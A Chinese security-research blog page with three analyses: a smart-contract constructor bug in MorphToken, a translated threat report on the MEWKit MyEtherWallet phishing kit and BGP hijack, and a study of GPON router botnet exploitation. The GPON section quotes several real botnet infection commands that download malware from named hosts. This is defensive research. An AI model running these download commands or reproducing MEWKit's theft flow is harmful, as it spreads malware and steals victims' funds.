    Morpheus Network与世界上一些大型航运、海关和银行公司协商，通过利用区块链的智能合约技术建立一个全面服务的、全球性的、自动化的、开放的供应链平台和一个集成的加密货币支付系统 ，发布基于以太坊的 MorphToken。

    2018年6月22日，Morpheus Network 发公告称将发布新的智能合约，以更新目前含有漏洞的合约代码。新的Token名称为MRPH，新旧Token以1:1兑换。

    随后，知道创宇404区块链安全研究团队开始漏洞应急，通过分析MorphToken合约代码和交易历史，确定该漏洞是由于大小写编码问题，错误的将Owned合约的构造函数Owned的首字母小写，使之成为了一个普通函数owned，任何以太坊账户均可调用该函数夺取合约的所有权，进一步实现盗币等系列非法操作。随即我们发布了相关应急报告，同时我们也注意到BCSEC安全团队发布了相关的分析文档。

    在后续的研究中，我们发现早在2017年8月29日，Github上就有人提到了这种因构造函数缺失导致的合约安全漏洞问题。该漏洞目前影响包括MorphToken、B2X、DoubleOrNothingImpl等多个智能合约。

    二、漏洞原理

    在MorphToken的合约代码里：https://etherscan.io/address/0x2ef27bf41236bd859a95209e17a43fbd26851f92#code 可以明显的看到相关大小写编写错误：

    以太坊智能合约中的构造函数主要用于初始化，如：确定合约的所有者，并且只会在合约部署时运行。在小于0.4.22版本的solidify编译器语法要求中，构造函数的名称应该和合约名称保持一致。如果程序员在编写合约时将构造函数名称写错，那么原本的构造函数将成为任何人都可以调用的普通函数。漏洞示例代码及在Remix-ide中的复现结果如下：

    0x01 漏洞合约部署

    下图中，Bank合约继承自Owned合约。在Owned合约中，由于错误的编码，将构造函数名称写错，owned函数成为了一个普通函数。可以看到，Bank合约部署后，由于缺少构造函数，初始化时owner为0x0000000000000000000000000000000000000000。

    0x02 漏洞现场还原

    任何以太坊账户都可以调用Bank合约继承自Owned合约的owned函数，更改Bank合约的owner变量，从而使合约所有权发生转移。

    如下如所示，0x14723a09acff6d2a60dcdf7aa4aff308fddc160c这个账户调用了Bank合约的owned函数后，可以看到Bank合约的owner变成了0x14723a09acff6d2a60dcdf7aa4aff308fddc160c。同理，攻击者也可以利用这个漏洞提权，实施一系列恶意操作。

    三、漏洞影响评估

    我们使用内部的以太坊智能合约审计系统对以太坊主链上所有30000+公开智能合约进行了自动化审计，确认受该大小写编码漏洞影响的共计16个，以下为统计结果：

    （受漏洞影响程度取决于合约的逻辑，具体代码审计结果可联系知道创宇404区块链安全研究团队）

    理论上在合约部署后，由于编码错误引起的构造函数缺失，owner默认值会变为0x0000000000000000000000000000000000000000，这样合约中涉及到owner的函数调用都会异常，合约所有者应该能及时发现漏洞才是。然而MorphToken这种市值几百万美金的代币，因为合约存在这个编码漏洞而被盗币。通过分析Morph Token源代码，我们得到了答案。MorphToken继承了Owned合约，但是自己实现了构造函数。就是说，是父合约向外留了一个“后门”。

    另一种情况，如果合约中没有涉及owner权限的函数调用，那么即使攻击者盗取了合约所有权，也没有任何用处。上表B2X合约中就是这种情况。

    总体来说，受漏洞影响的合约数量不多，属于被MorphToken带着“火”了一把的漏洞。

    事实上，很多安全漏洞都来源于程序员的粗心编码，智能合约这种部署后即不可更改的更应加强代码审计。

    四、防护方案

    1、0.4.22版本以后的solidity编译器引入了constructors关键字，以替代低版本的将合约名作为构造函数名的语法，从而避免程序员编码错误。强烈建议采用最新版本编译器。

    2、技术业务咨询

    知道创宇404区块链安全研究团队：http://www.scanv.com/lca/index.html
    联系电话：(086) 136 8133 5016（沈经理，工作日:10:00-18:00）

    欢迎扫码咨询：

    五、相关链接

    [1] Morpheus 官网
    https://morpheus.network/
    [2] 官方公告
    https://medium.com/@themorpheus/new-morpheus-network-token-smart-contract-91b80dbc7655
    [3] 以太坊主链智能合约
    https://etherscan.io/contractsVerified
    [4] 合约构造函数缺失漏洞示例
    https://github.com/trailofbits/not-so-smart-contracts/blob/master/missing_constructor/Missing.sol
    [5] 漏洞详情参考
    https://bcsec.org/index/detail?id=157&tag=1

    本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/630/

     

    作者：Nanako | Categories:安全研究、漏洞通告 | Tags: 、、
    没有评论

  • MEWKit： Cryptotheft 的最新武器

    2018-08-28

    译者：知道创宇安全服务团队、404区块链安全团队
    [PDF版本下载]

    介绍

    当谈到加密货币时，会联想到加密货币巨大的价格波动，交易违约、赎金勒索的情况以及许多不同种类的货币。虚拟货币自兴起以来，就一直受到罪犯无情地攻击，许多人都希望能从中获取利益。在此威胁报告中，我们将重点关注Ethereum，也称为“以太”，以及它与名为MyEtherWallet（MEW）的在线服务的关系，该服务是网络钓鱼自动传输系统（ATS）MEWKit的目标。

    MEWkit的突出之处在于它远不止传统的网络钓鱼套件那样，除了是一个以窃取凭证为目的的模仿MyEtherWallet前端的网站以外，它也是一个客户端 ，可以处理钓鱼页面捕获的付款细节以转出资金，将资金从钓鱼受害者以太坊钱包直接寄给攻击者控制的钱包。

    本报告详细阐述了MEWKit功能，背景以及过去和现在的一系列行为活动，并对2018年4月24日发生的一件重大事件作一些说明。那就是在亚马逊DNS服务器上执行边界网关协议（BGP）劫持攻击，将用户从官方的MyEtherWallet网站重新路由到运行MEWKit的主机。

    理解犯罪：理解目标

    MyEtherWallet不像其他加密货币交易所和交易平台，它没有内部账户。一个典型的交易所像银行一样运作 ，用户通过创建一个账户来实现资金转入和转出。 通过这种方式，交易所就有了添加了增加了额外安全措施的用户钱包的关键词。 这些银行和交易所也能够执行分析以查看什么设备正在用于登录，并知道从那里登录。

    另一方面，MyEtherWallet取消了用户拥有账户的中间步骤，并为用户提供了一个钱包允许他们直接与以太坊网络进行互动。 这种访问使MyEtherWallet变得非常透明，但没有大多数银行和交易所的附加安全层面也造成一些重大风险问题，并使其成为攻击的主要目标。

    一旦MEWKit受害者认为他们正在与官方互动，钓鱼攻击就成功了。MyEtherWallet网站的资金可直接转给攻击者。 因此，我们说MEWKit是专门为MyEtherWallet制作的网络钓鱼ATS。

    MEWKit 技术分析

    MEWKit由两部分组成：一个模仿MyEtherWallet站点的钓鱼页面和一个处理日志的服务器端，攻击者一旦进行网络钓鱼就会将受害者的钱包里面的资金转移至攻击者指定的地点。 典型的钓鱼网页通常会重定向到网站的合法版本，这样受害者可以再次登录，MEWKit只是通过受害者的浏览器，使用MyEtherWallet对以太坊的独特访问权限，在后台进行交易。

    MEWKit被其开发者称为自动传输系统，因为它捕捉到的任何钓鱼信息都会立即用于从受害者的钱包中转移资金。ATS恶意软件运营的概念来源于它的恶意软件操作，它将脚本注入金融网站上的活动网络会话中，以便将资金从受害者账户中转出，并在被感染的电脑上利用受害者登陆的账户在短时间内无形地自动完成转帐。

    一旦用户登录，MEWKit就会检查他们的钱包余额并从服务器端请求接收者地址。然后将攻击者的拥有的钱包设置为接收者地址，利用正常的MyEtherWallet功能转移受害者的全部余额。

    MEWKit 钓鱼页面

    由于MyEtherWallet完全在客户端运行，并且可以脱机运行，因此攻击者可以下载手动构建它，这正是MEWKit的开发者所做的。MyEtherWallet源代码可以从GitHub下载：https://github.com/kvhnuke/etherwallet

    MEWKit是由一个添加多个脚本的MyEtherWallet组成。 它在页面中嵌入了两个额外的JavaScript资源文件，通常命名为：sm.js和wallet.js 。它们都从合法的MyEtherWallet脚本文件路径相同的目录中加载。

    wallet.js - Configuration

    该脚本充当MEWKit其余部分的配置文件。 它有两个选项来设置：

    js_stat

    这个变量是包含后端地址的字符串，开发者称其为'admin面板' ，此变量的值用于获取转帐资金的接收地址和发送页面上发生的所有事件的日志。

    user_in_page

    虽然变量名称有些模糊，但它只是用来标记启用或关闭日志记录的， 1表示启用日志记录，0表示无日志记录。

    sm.js - Core

    该脚本包含MEWKit的功能部分，并挂接到MyEtherWallet的源代码中。该脚本顶部包含一组全局变量：

    ____pwd

    包含受害者的钱包中的助记符短语或密码/密钥库JSON文件内容。

    ikey

    目前尚未在我们观察到的任何MEWKit版本中使用。它会在所有的回调中发送到后端，但是除了初始值“none”以外，没有被设置其他值。

    txt_ua

    包含受害者的用户代理，并调用navigator.userAgent

    send_block_flg

    包含一个二进制0或1标志。一旦受害者解密他们的钱包，ATS就会将send_block_flg设置为0并开始将可用余额转账。标志位为1的话，不会启动任何交易而且会阻止任何正进行的交易。

    balance

    一旦用户登录到MEWKit钓鱼网站，将显用户钱包中的可用余额页面。

    eth_recipient

    包含攻击者控制的用来转移盗取资金的接收地址。

    balance_block_flg

    包含一个二进制0或1标志。一旦受害者解密他们的钱包，ATS就会将balance_block_flg设置为0，开始检查受害者钱包中的可用余额。

    count_flg

    包含一个二进制0或1标志。标志设置为1，会触发假倒计时MEWKit页面。当MEWKit开始获取钱包凭证的时候开始转移可用余额。

    在这些全局变量之后，该脚本包含一组用于进行钓鱼和自动化资金转账的功能。我们不会具体解释每一个功能，但我们会显示套件的执行流程。

    MEWKit 挂钩在 MyEtherWallet 源码中

    MEWKit挂钩了MyEtherWallet的正常功能，我们将逐个浏览它所放置的钩子。MEWKit首次出现在MyEtherWallet源码中主页的<header>部分。 已经添加了两个MEWKit脚本和一个jQuery脚本：

    下图，我们将在<body>标记中找到来自MEWKit的函数调用：

    该功能禁用一个用户的常见功能，即查看他们的钱包信息和余额。它还确保启动事务按钮将禁用页面上的任何其他按钮，确保用户不能去其他地方。

    下一个MEWKit函数调用可以在主体中看到：

    该功能保证欢迎消息能正确地更新，它通常显示的内容为“MyEtherWallet.com” 。因为钓鱼页面的域名不总是与MyEtherWallet.com近似，有时是Ethereum及其变种单词，这个函数调用确保窗口标题和页面信息与用户正在访问的网站相匹配。攻击者不必为他们设置的每个页面更改构建。

    MEWKit的下一个函数被挂接到允许访问者看到钱包余额的按钮上：

    此功能将在用户点击钱包余额按钮时执行，并重定向用到资金转移处，MyEtherWallet代码提供资金转移功能，这样MEWKit可以进行它所需要的交易。

    另外，MEWKit将改变MyEtherWallet页面上的正常视觉效果。 通常情况下，用户所在页面的按钮会突出显示，但MEWKit会突出显示'查看电子钱包信息'按钮，当用户正在转账页面上时，“查看电子钱包信息”按钮也会将用户转到资金转移页面。 当我们访问MEWKit实例时，可以看到这种行为。注意禁用的可见性通常显示的Ether-sending头部：

    从MEWKit到MyEtherWallet的最后一次插入不在HTML页面中，而是在官方源代码中文件：etherwallet-master.js。MyEtherWallet本身是使用AngularJS框架编写的，允许开发人员构建动态功能的网页而不是静态HTML页面。AngularJS允许他们对功能和元素进行模板化，从而更轻松地提供动态网站体验。

    当用户为使用MyEtherWallet的钱包而解码的时候，MEWKit通过添加一个函数调用来挂钩到angular JS。放置的函数叫做PrivateKey_decryptWallet，这将在下一章讨论ATS执行流程中详细介绍。我们可以看到很不好的是javascript源文件中的钩入函数是一个Angular JS文件：

     

    我们可以看到我们本应该查看我们的钱包信息的页面，但是实际却开始了一个事务，如前面的截图所示。 以下是MEWKit的入口获取解密的钱包的内容：

    如图所示，这些功能不会自行开始传输。 上述功能只是准备对用户进行网络钓鱼攻击页面。

    ATS Execution flow

    当用户点击一个MEWKit页面时，它会为钓鱼和ATS功能做好准备，如上所示。后在准备工作中，每次都会执行一个函数，调出后端日志，这只会影响后端wallet.js中的user_in_page变量，将其设置为1（启用日志标注）时执行：

    send_data_login_函数在ATS的整个运行过程中使用，我们将解释它以下功能供以后参考。 MEWKit对后端执行标注的方式非常完美。有趣的是，它基于提供给函数和全局的参数构造一个URL变量。 然后将该URL作为新的脚本资源嵌入主浏览器的主页面中执行标注。 如下所示：

    如图所示，send_data_login_函数构造一个URL，然后将其放入一个新的脚本元素中，附加到文档的<head>。 以下是执行该操作的MEWKit实例的示例：

     

    有意思的是服务器返回一个小的JavaScript片段，它设置一个名为jsess_msg的全局变量，该变量稍后与ATS功能的其余部分相关。 这是后端根据日志消息返回的内容：

    这个函数有另一个版本叫做send_data_login_pv，因为它被修改为记录钱包到后端的私钥，这个版本的格式也可以编码和发送私钥。只有当用户上传私钥访问他们的钱包时，才会调用这个函数，密钥文件内容也被转发到后端。

    当受害者通过使用MyEtherWallet提供的方法解密他们的钱包时，ATS功能开始实际运作，该方法触发PrivateKey_decryptWallet函数的onclick事件。 这个函数遍历用户可以使用的所有不同的身份验证选项并记录用户使用了什么方法，然后它开始自动传输代码。 下面是一个对每种认证方法重复的功能：

    您可以看到MEWKit记录用户使用的认证方法，设置余额并将标志位设置为0并调check_send_block函数。

    在我们跳转到check_send_block函数之前，有一些重要的东西需要理解：这个特定的高亮示例使用send_data_login_pv函数，该函数还会发送钱包的私钥到后端。这意味着MEWKit进行攻击后仍然可以访问受害者的钱包。 如果受害者购买更多以太币，攻击者可以继续盗取受害者的资金。

    这同样适用于另一种验证方法。 使用keyfile / JSON文件上传方法将文件上传到后端这也允许MEWKit攻击者继续访问受害者的钱包：

    函数会将上传的文件发送到后端脚本post.php中由后端路径的js_stat配置变量作为前缀。

    函数将通过查看发送功能是否可用来检查受害者是否成功验证：

    这个函数会一直调用它自己，但会用标志阻塞，直到受害者可以启动交易。

    然后代码跳转到check_balance_block函数：

    虽然这个功能看起来很复杂，但它所做的只是通过手动解析HTML来检查钱包的余额，一旦它可以确定一个可用余额，就会将其记录到后端，并且调用check_valid_balance函数：

    check_valid_balance函数检查余额是否为正数。 如果不是，它会在后端记录一条消息，申明'Stop ATS'。如果检查余额为正数，它将通过调用get_address函数来继续执行流程。 这个功能与日志功能类似，它会构建并嵌入一个脚本资源URL，以便将浏览器调用到后端。 这个用于获取收件人地址的URL是静态的，只添加当前时间戳到URL的末尾。

    时间戳会附加到URL上，因为浏览器通常会很智能地使用它，并且如果相同的资源被追加两次，只会使用缓存的结果。 通过添加此时间戳会生成独一无二的URL，来确保后端服务器的更新响应：

    LoadScript函数创建一个新的脚本元素并将URL设置为由get_address生成的URL。一旦资源被加载，它将调用get_state_address函数继续执行流程。

    get_state_address函数是jsess_msg变量中设置的值的解析器，该变量由后端通过LoadScript函数。 消息的解析如下所示：

    get_state_address通过剪切和切分字符串值响应来解析变量内容，以解析出将被盗资金转移到的接收地址。 如果消息的响应中包含[EMPTY]，则MEWKit将停止处理并在日志中记录没有接收地址。 如果它能够从响应中获得地址，它将调用set_data函数，这是转移资金的最后一步。

    set_data函数将通过设置接收地址来准备一个事务去触发输入。并在set_get_trans函数排队延误之前点击传输按钮。点击转移按钮将使用户进入交易概览页面。 然后，set_get_trans函数快速按下按钮以生成事务记录，之后它会对set_yes_mk_trans函数进行排队，然后再确认事务。 这将启动余额转移，从而窃取受害者钱包中的可用余额。

    基本上，这些最后几项功能可以像合法用户那样只需按下按钮便可以自动创建，确认和开始转账。以下是我们上文提到过的MEWKit核心的所有功能：

    这种以自动方式窃取以太坊的功能，和我们之前在钓鱼工具包中看到过的不一样。

    MEWKit服务器端

    如上所示，MEWKit的主要功能，如部分ATS，能在JavaScrip客户端中完全运行。MEWKit的后端仅用于：

    • 日志存储：ATS中的每个步骤都会记录下每个受害者，并将其全部报告给后端
    • 私钥和密码存储：如果用户使用助记符或密码登录，则会记录和在C2上提取并存储以供以后访问。
    • 提供接收地址：将参与收件人的地址保留在后端和传送给被钓鱼的客户。

    在大多数情况下，MEWKit实例的后端服务器为攻击者提供了他们正在从事的工作的概况。

    MEWKit的限制：硬件钱包

    虽然MyEtherWallet支持各种硬件钱包，如Trezor8，Ledger Wallet9，Digital，Bitbox10和Secalot11，但却不支持从这些钱包中获取密钥。这意味着那些在使用硬件钱包时被MEWKit钓鱼的人不会受到MEWKit的ATS的影响，但仍然需要在处理之前确认其钱包上的交易。因为硬件钱包的私钥存储在内部，因此不会暴露于MEWKit。

    突发的原因不明的的交易是打击MEWKit的一个标志，当然也不会接受交易所需要采取的措施。MEWKit会记录所有尝试使用硬件钱包的登录信息，它只是无法使用其ATS功能自动进行资金转账。

    活动的历史概述

    以下部分概述了我们在RiskIQ数据库中集中观察到的所有数据攻击。以下各节中提到的AnyIOC也可以在本报告末尾的妥协指标（IOC）部分中找到。

    请注意，我们没有描述观察到的每个MEWKit钓鱼网站，只列出了那些因各小节中描述的原因而可以进行钓鱼攻击的钓鱼网站。我们观察到的所有主机的完整列表可以在本报告结尾附近的“妥协指标”部分找到。

    权限边缘之亚马逊53

    4月24日11:00 UTC过后的一会儿，针对与亚马逊路由5312相关的IP空间执行了边界网关协议（BGP）劫持，该路由是亚马逊DNS供应系统。这意味着未经授权的用户可以重新将路由一部分旨在AmazonRoute 53的流量传输到自身，并将域分辨率重新路由到他们自己选择的端点。

    重新路由MyEtherWallet访客

    通常在亚马逊的AS16509下宣布（并维护）的以下IP块已由eNet在AS1029713下公布：

    205.251.192.0/24
    205.251.193.0/24
    205.251.195.0/24
    205.251.197.0/24
    205.251.199.0/24

    这些IP地址是Amazon Route 53为通过此服务维护的任何域执行DNS路由的一部分。驻留在AS10297中的上述IP块的新端点开始路由预定用于路由53的一些流量并回复来自用户的DNS查询。

    实际上，我们可以看到这个AS宣布的前缀相对于它通常所宣称的非常固定的一组块而言：

    Source: https://bgp.he.net/AS10297

    最终处理通常用于Route 53的流量的DNS服务器只设置了一个域来解决：myetherwallet.com。任何其他请求的域名都会被SERVFAIL响应，这是人们已经注意到的。新的DNS服务器响应一个新的IP地址MyEtherWallet，46.161.42.42，驻留在AS41995。根据地理位置，这台服务器来自俄罗斯。如果我们提供一些有关此AS的WHOIS信息，会发现它并不是一个好兆头。

    在东欧分配一个AS，并在WHOIS中使用Gmail等免费服务的电子邮件地址通常是一个不好的迹象。我们可以从组织WHOISdetails中获得更多有关此地址的信息：

    根据WHOIS信息，自2014年底以来，电子邮件地址的域名一直存在，并且其详细信息始终存在于WHOIS隐私服务之后。目前，主网站onweb-shield.biz处于离线状态，但通过查看档案数据，我们可以找到一个旧的托管公司网站：

    Webshield对我们行业中的许多人来说都很熟悉，因为在他们的网站中有许多用于恶意目的的网站IP空间，其中一个例子是Rescator15。我们最感兴趣的是拥有这个AS的主机却已经关闭了它的网站托管网站，但仍然提供了托管机会。我们可以将Webshield定义为一个防弹主机。

    以太劫持：通过MEWKit实现资金转账自动化

    虽然对亚马逊Route 53的攻击非常复杂，但攻击者用于托管在Webshield AS上的服务器上的钓鱼站点的设置却不复杂。他们在服务器上放置的证书实际上并不是有效的证书，他们使用WHOIS隐私服务背后的myetherwallet [.]com创建了自己的自签名证书。这里是以太钱包WHOIS：

    Source: https://community.riskiq.com/search/myetherwallet.com

    以下是我们在使用MEWKit的Webshield主机上观察到的SSL证书：

    Source: https://community.riskiq.com/search/certificate/sha1/4ee8ad8ef36d1e4461526997b78415b6dc306ee3

    攻击者只需根据WHOIS详细信息生成证书，该证书由几乎任何现代Web浏览器标记。然而，人们好像还是忽略了这些警告选择了点击，即使有人报告资金被MEWKit从他们的以太钱包中撤出。

    MEWKit页面本身与任何正确构建钓鱼页面一样，看起来与正常的以太钱包网站完全相同：

    然而，我们在这次攻击中看到的设置与我们在正常MEWKitinstall上看到的不同。如果我们看一下文档对象模型（DOM），我们会看到正常的MEWKit脚本（顶部MEWKit，底部MyEtherWallet.com）：

    注意，脚本没有以任何方式混淆 ，看起来他们似乎是正确的。如果我们看看wallet.js，其中包含日志记录配置和后端位置，我们得到这个：

    第一个变量将报告后端设置为http://46.161.42.42/pind/，第二个变量不可用日志记录。如果我们转到sm.js，我们已经可以在脚本的顶部看到添加了附加变量的一些更改：

    正如上面MEWKit的功能所解释的，eth_recipient变量与被盗资金的接收者有关。如果我们检查get_state_address函数通常设置（单个）的eth_recipient变量值，我们看到开发者一直在实现多个收件人地址。该代码仍然包含注释部分，开发者忘记将添加的eth_recipient_n变量注释掉，因为它们没有被使用。

    该函数还包含一个注释掉的console.log调用，该调用会将消息记录到控制台。这让我们更加确定开发者正在测试用于脚本攻击的新功能。

    通过这个图表，我们可以找到更多俄文评论的证据。我们翻译了所有评论，并根据所用的措辞，很可能由熟悉财务条款的俄语母语人士撰写（有关下文的更多信息）。我们将逐个评论。在他们不直接翻译成英文的情况下，我们会做出解释。

    上面的文字‘проверяем доступность секции с траншем’提到在代码段中检查‘траншем’的可用性，这是一个有趣的用词和重要的发现。 该注释是关于下面的代码将通过钱包地址来获得钱包中资金的总余额的事实。 ‘траншем’这个词是‘ranche’的俄语，来自法语单词，表示交易的一部分或一部分。

    第一条注释‘получаем баланс’，即’得到平衡’，第二条注释’баланс’是平衡’一词，第三条注释，’стоп работ’，意为’停止工作’，这能说得通是因为当程序检查到余额为0的时候来到了这条正确的分支，意味着ATS没有资金可以转移而程序可以停止工作了。

    第一条注释，’оставить кошелек получателя’，翻译过来就是’设置收款人的钱包’，这与设置从钓鱼受害者的钱包中转移资金的交易收款人钱包地址的函数有关。第二条注释，’отправить весь баланс в эмаунт ’，翻译过来就是’将全部余额转移’。这句话中的最后一个单词’эмаунт’是拼写为西里尔文的非俄语单词。

    这些注释的出现意味着脚本的作者是一个以俄语为母语并至少拥有一定财务知识的人。

    结论

    自事件发生以来，已经发布了很多关于这次具体攻击的具体细节，但我们决定更深入地了解到底发生了什么，并挖掘出与MEWKit相联系的额外见解。 亚马逊Route 53劫持（事件）只有一个目标。 虽然这次袭击的范围相对较小，但其范围可以更为巨大。

    互联网是在几十年前创建的，并不是所有的构建模块都已经过时了 - BGP和DNS仍然是我们全球互联网中存在问题但至关重要的一部分。 与大多数网络安全问题一样，针对这些类型的攻击也有解决方案，但它们的效果取决于链中的每个人都加强安全性并部署解决方案。

    IDN Phishery

    几乎所有MEWKit实例都要注意的一点是攻击者利用国际化域名（IDNs）。 国际化域名攻击并不新鲜，但遗憾的是，它们在利用MEWKit的攻击中似乎非常有效。

    浏览器正在迎头赶上去解决这个问题，Firefox和Chrome都实现了一个非常简单的算法来检查域名中的所有字符是否属于同一种语言。 如果不是，则显示以'xn--'开头的IDNA符号。 这个过滤器确实可以防止MEWKit的大量攻击，因为攻击者们使用来自西里尔文，希腊文，亚美尼亚文和希伯来文的特殊语言字符来替换带有特殊字符变体的字母。

    当然，那些仍然会通过这些过滤器，我们希望在MyEtherWallet交易的每个人时保持小心。 请密切关注您打开的是哪个网址，最好是使用MyEtherWallet的书签页或自己输入域名。 不要使用来源于电子邮件，社交媒体的链接。

    不同之处

    MEWKit战役中使用的大多数域和主机都使用非常特定的格式来模仿MyEtherWallet。 然而一个运行MEWKit的主机却不一样，经过仔细检查后发现其运行了一些令人好奇的脚本。 有问题的主机是tikkiepayment.info，托管在31.31.196.186。 4月9日，MEWKit实例被托管在myyetherwallett.com/myether/，它从以下位置加载它的MEWKit脚本：

    其后台地址在 wallet.js 脚本中被设置为 https://tikkiepayment.info/showpanel/ ，wallet.js 中还包含着解释变量的注释：

    我们还发现位于同一主机上其他MEWKit的后台路径地址：

    如果我们检查一下主机tikkiepayment.info，我们发现一些之前从来没有在其他MEWKit实例中见到过的奇怪的东西：它为攻击者运行着与MEWKit无关的基于web的工具。在 https://tikkiepayment.info/pv/ 上，托管着一个允许攻击者使用MyEtherWallet API来批量检查Ethereum keys的工具：

    尽管网络犯罪中窃贼之间通常不存在荣誉，但该工具是其他人可以使用的精简版MyEtherWallet，它检查帐户是否有效并且有一些余额。根据服务器上存在的工具以及它是我们曾经观察过MEWKit上的第一台主机的事实，我们认为这台主机是由MEWKit的创建者设置的。此外，根据本报告底部IOC部分显示的注册信息，域名会在任何MEWKit主机设置之前一个月进行登记。

    走出以太坊

    尽管我们不能确切的说MEWKit操作是单一攻击者，但我们确实发现了MEWKit实例和其他加密货币和加密货币交易所的钓鱼页面之间的一些有趣链接。

    4月17日，MEWKit实例在www.xn--myetherwalle-occ.com上正式运行，它的MEWKit脚本从以下位置加载：

    后端位置托管在，但另一个MEWKit实例直接托管在cdnsfiles.com上，其资源从上述同一位置加载，后端位置设置为cdns文件的.com / ADM /。

    我们看到另一个网站从cdnsfiles.com加载资源，这不是MEWKit实例，而是blockchain.info的钓鱼页面。 该页面本身是一个普通的钓鱼网站，并没有包含MEWKit所拥有的ATS组件 - 它只是收获了登录凭证。 然而，更有趣的是它从以下位置加载资源：

    它在用于MEWKit的同时使用cdnfiles.com作为其钓鱼资源，这告诉我们MEWKit背后的攻击者拥有非常广泛的钓鱼页面组合。如果我们查看钓鱼页面的主机，185.207.205.16，我们发现另一大部分钓鱼域名主要关注blockchain.info。 然而，Coinbase也有一个IDN网络钓鱼：

    资源: https://community.riskiq.com/search/185.207.205.16

    综上所述，因为此报告仅关注MEWKit ，所以RiskIQ PassiveTotal中的域名尚未添加到本报告的IOC部分。然而，由于它提供了MEWKit，因此在本报告IOC部分中提到的IP地址将提供足够的数据点来开始单独的调查。

    总结

    MEWKit自今年年初就一直被广泛使用了，尽管我们在2018年以前都没见过它，但或许MEWKit在外界早已以不同的功能或形式活跃了。BGP劫持亚马逊Route 53的行为显示了它驱动的攻击者和活动的持续性，执行其攻击的成本表明MEWKit异常成功，技术虽然简单，但却有效地窃取了以太坊。

    正如我们在MEWKit的技术分析中所解释的那样，我们无法估计攻击者的收益，因为我们无法知道攻击者控制了多少钱包和地址，这是由于MyEtherWallet的设置方式是以每个受害者为基础发放的地址的。区块链的架构，特别是以太坊允许每个人通过公簿洞察钱包地址余额，但它也维护了所有者的完全匿名性。直到攻击者被抓获或执法部门提供MEWKit攻击中使用的精确地址的见解前，我们永远不会知道其确切的运作。

    我们确实知道，各种钱包已经在社交媒体和论坛上发布，表面上收入可能达数百万美元，但我们无法高度自信地将其与MEWKit联系起来。 然而，随着注册域名数量的增加，服务器维护的增多以及活动水平的提高，我们可以推测这次攻击的收入必须足够丰厚，不仅能够维持运营，而且还能盈利。

    妥协指标

    以下部分包括我们观察到的所有直接属于MEWKit的IOC（控制反转）以及IOC的行为，这些IOC同样可以用于自动化的PassiveTotal项目：https://community.riskiq.com/projects/27cddf0e-a912-1ca7-5a9e-6182d3674045

    以下IP地址被检测到正在执行MEWKit实例，并且与列表下方列举在表格中的一个或多个域名相关联。

    以下是包含注册日期及用于注册的电子邮件地址的详细域名列表。如果电子邮件地址丢失，这意味着该字段默认由隐私服务或注册商填写。由MEWKit建立和用于活动的域名的注册日期紧密重合。

    高端渗透测试服务，请访问http://www.scanv.com
    招贤纳士：tiancy@knownsec.com

    本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/608/

    作者：Nanako | Categories:安全研究、技术分享 | Tags: 、
    没有评论

  • GPON Home Gateway 远程命令执行漏洞被利用情况

    2018-08-28

    作者：知道创宇404实验室
    日期：2018/05/10

    2018/05/07，ZoomEye Dork(文末有彩蛋)中heige吟诗一首(作者：卞之琳)：
    断章
    你在桥上看风景，
    看风景人在楼上看你。
    明月装饰了你的窗子，
    你装饰了别人的梦。
    殊不知在GPON Home Gateway远程命令执行漏洞被利用的过程中亦是如此。

    0x00前言

    一. 漏洞详情

    2018/04/30，vpnMentor公布了 GPON 路由器的高危漏洞：验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562)。由于只需要发送一个请求，就可以在 GPON路由器 上执行任意命令，所以在上一篇文章《GPON Home Gateway 远程命令执行漏洞分析》，我们给出了僵尸网络的相关预警。

    结合ZoomEye网络空间搜索引擎以及对漏洞原理的详细研究，我们对GPON Home Gateway远程命令执行漏洞被利用情况进行了深入的研究，意外地发现利用该漏洞的僵尸网络是可以被监控的。

    短短的四天时间内，这片路由器的战场，竞争、撤退、消亡时时刻刻都在上演，在每一个路由器的背后，每天都有着多个不同的恶意控制者，故事精彩得难以想象。

    二. 检测原理

    漏洞发现者给出的利用脚本如下：

    该脚本逻辑如下：

    步骤1(行5)：将注入的命令发送至/GponForm/diag_Form并被执行。

    步骤2(行9)：利用绕过漏洞访问diag.html页面获取命令执行的结果。

    关键点在第二步：

    当我们不使用grep diag_result去过滤返回的结果，将会发现部分路由器会将diag_host也一并返回。而参数diag_host就是步骤1中注入的命令。

    这就意味着，通过ZoomEye网络空间搜索引擎，我们可以监控互联网上相关路由器的diag.html页面，从而了解僵尸网络的活动情况。

     

    0x01 被利用情况

    ZoomEye网络空间搜索引擎在2018/05/05、2018/05/07、2018/05/08进行了三次探测，一共发现了与僵尸网络相关的命令 12处。

    一. 被利用情况总览

    二. 详细介绍

    1. Mirai变种僵尸网络 THANOS

    这是一个在我们研究前撤退、研究时重新归来的僵尸网络
    使用的感染命令如下：
    编号1 busybox wget http://104.243.44.250/mips -O /tmp/m
    编号10 busybox wget http://82.202.166.101/mips -O -

    1.1 104.243.44.250 样本

    在我们发现相关攻击痕迹时，样本已无法下载。看起来就像始作俑者已经撤退。

    但是我们仍然从路由器上运行的样本中了解到该僵尸网络的行为：

    • 当前进程

    • 网络连接情况

    • CNC
      82.202.166.101:45,2018/05/05未连接成功（2018/05/09发现该CNC重新打开）

    由于该恶意样本拥有生成随机进程名、对外爆破23端口等特征，故可能是Mirai僵尸网络或其变种。

    1.2 82.202.166.101 样本

    2018/05/07，我们发现了少量该样本的感染痕迹，通过进一步研究，我们认为该僵尸网络已经回归。 由于该样本直接在 1.1 中的 CNC 主机上传播，运行时依旧会生成随机进程名，对外爆破23端口，故我们将两者归为同一僵尸网络家族。

    • 新的CNC
      185.232.65.169:8080

    新的 CNC 上线包如下

    根据这个上线包，我们将该僵尸网络称为 Mirai变种僵尸网络 THANOS

    2. Q bot僵尸网络变种

    这是一个持续存在的僵尸网络，在我们三次探测中均有出现。预计感染了大量设备。
    使用的感染命令如下：
    编号2 busybox wget http://185.244.25.162/mips -O /tmp/.m
    编号7 busybox wget http://58.215.144.205/mips -O /tmp/.q
    编号12 busybox wget http://58.215.144.205/mips -O /tmp/adj

    2.1 185.244.25.162 样本

    该恶意样本属于 MIPS 架构，使用 UPX 加壳。在脱壳对其进行逆向的过程中，我们意外发现了与该样本相关的源码：https://darknetleaks.xyz/archive/botnetfiles/Qbot%20Sources/Hacker%20serverside&clientside/client.c

    但该样本和源码依然有很多地方不同：

    • 对外扫描的IP段不同，样本中对外扫描的IP段如下：

    该样本在对外扫描时，只会扫描表格中的这些IP

    • kill别的bot的列表

